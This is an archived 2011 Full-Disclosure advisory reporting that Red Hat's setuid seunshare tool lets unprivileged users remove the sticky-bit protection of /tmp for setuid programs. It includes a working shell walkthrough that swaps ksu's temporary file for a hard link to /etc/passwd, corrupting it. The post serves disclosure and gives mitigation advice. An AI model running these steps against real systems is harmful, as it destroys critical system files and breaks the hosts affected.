full-disclosure - Developers should not rely on the stickiness of /tmp on Red Hat Linux

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20110222235755.GA6372@cmpxchg8b.com>
Date: Wed, 23 Feb 2011 00:57:56 +0100
From: Tavis Ormandy <taviso@...xchg8b.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Developers should not rely on the stickiness of
	/tmp on Red Hat Linux

Developers should not rely on the stickiness of /tmp on Red Hat Linux
---------------------------------------------------------------------

Recent versions of Red Hat Enterprise Linux and Fedora provide seunshare, a
setuid root utility from policycore-utils intended to make new filesystem
namespaces available to unprivileged processes for the purpose of sandboxing.

The intention is to permit unprivileged users to mount a new temporary
directory on /home and /tmp for sandboxed processes, thus preventing
access to the contents of the original directories in the event of a
compromise.

One unintended side effect of making these features available to unprivileged
processes is that users can now change how setuid applications perceive /tmp
and /home.

The purpose of this advisory is to inform developers and system administrators
of affected systems that unprivileged users can effectively remove the
sticky-bit from the system /tmp directory, and thus relying on the stickiness
of /tmp on redhat systems is no longer safe.

This advisory is intended for system administrators and developers of
Red Hat Linux systems; journalists, end users and other non-technical
readers do not need to be concerned.

--------------------
Affected Software
------------------------

All known versions of policycore-utils are affected.

I discussed the potentially dangerous implications of introducing this change
with Red Hat Security in September 2010, but FC14 and RHEL6 still exhibit this
behaviour post-launch.

--------------------
Consequences
-----------------------

A simple example of a common application that is now unsafe is ksu, from the
krb5 distribution. ksu creates a temporary file in /tmp, then clears it on
authentication failure.

This is normally a safe operation, as /tmp is protected by the sticky bit.

However, we can use seunshare to interfere with this process.

# create a new directory that we control
$ mkdir /tmp/seunshare

# use seunshare to mount it on /tmp and /home and run our setuid root binary
$ seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root &>/dev/null &
[1]+  Stopped                 seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root

# we can examine the mounts visible to the process using the /proc interface
$ grep /tmp /proc/$(pidof ksu)/mountinfo
66 64 1:1 /tmp/seunshare /tmp

# here is the temporary file created by ksu during authentication
$ ls -l /tmp/seunshare/
total 4.0K
-rw-------. 1 root taviso 35 Feb 18 23:21 krb5cc_0.1

# as we own the directory, and the sticky-bit is not set, we are permitted to
# unlink files 
$ rm -f /tmp/seunshare/krb5cc_0.1

# now we can replace the file with a link
$ ln /etc/passwd /tmp/seunshare/krb5cc_0.1

# make ksu authentication fail.
$ fg
seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root

And /etc/passwd was damaged, thus breaking the system.

-------------------
Credit
-----------------------

This bug was discovered by Tavis Ormandy.

-------------------
Greetz
-----------------------

Thanks to Kees, Hawkes, Dan and Julien for their help. Greetz to everyone in
$1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/, and all my other elite friends and colleagues.

-------------------
Notes
-----------------------

Although only an example of damaging a system has been provided, it's
reasonable to assume that various applications rely on the stickiness of
/tmp to prevent code execution.

Administrators are advised to remove the setuid bit from seunshare, or
restrict access to it.

-------------------
References
-----------------------

None.

-- 
-------------------------------------
taviso@...xchg8b.com | pgp encrypted mail preferred
-------------------------------------------------------

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/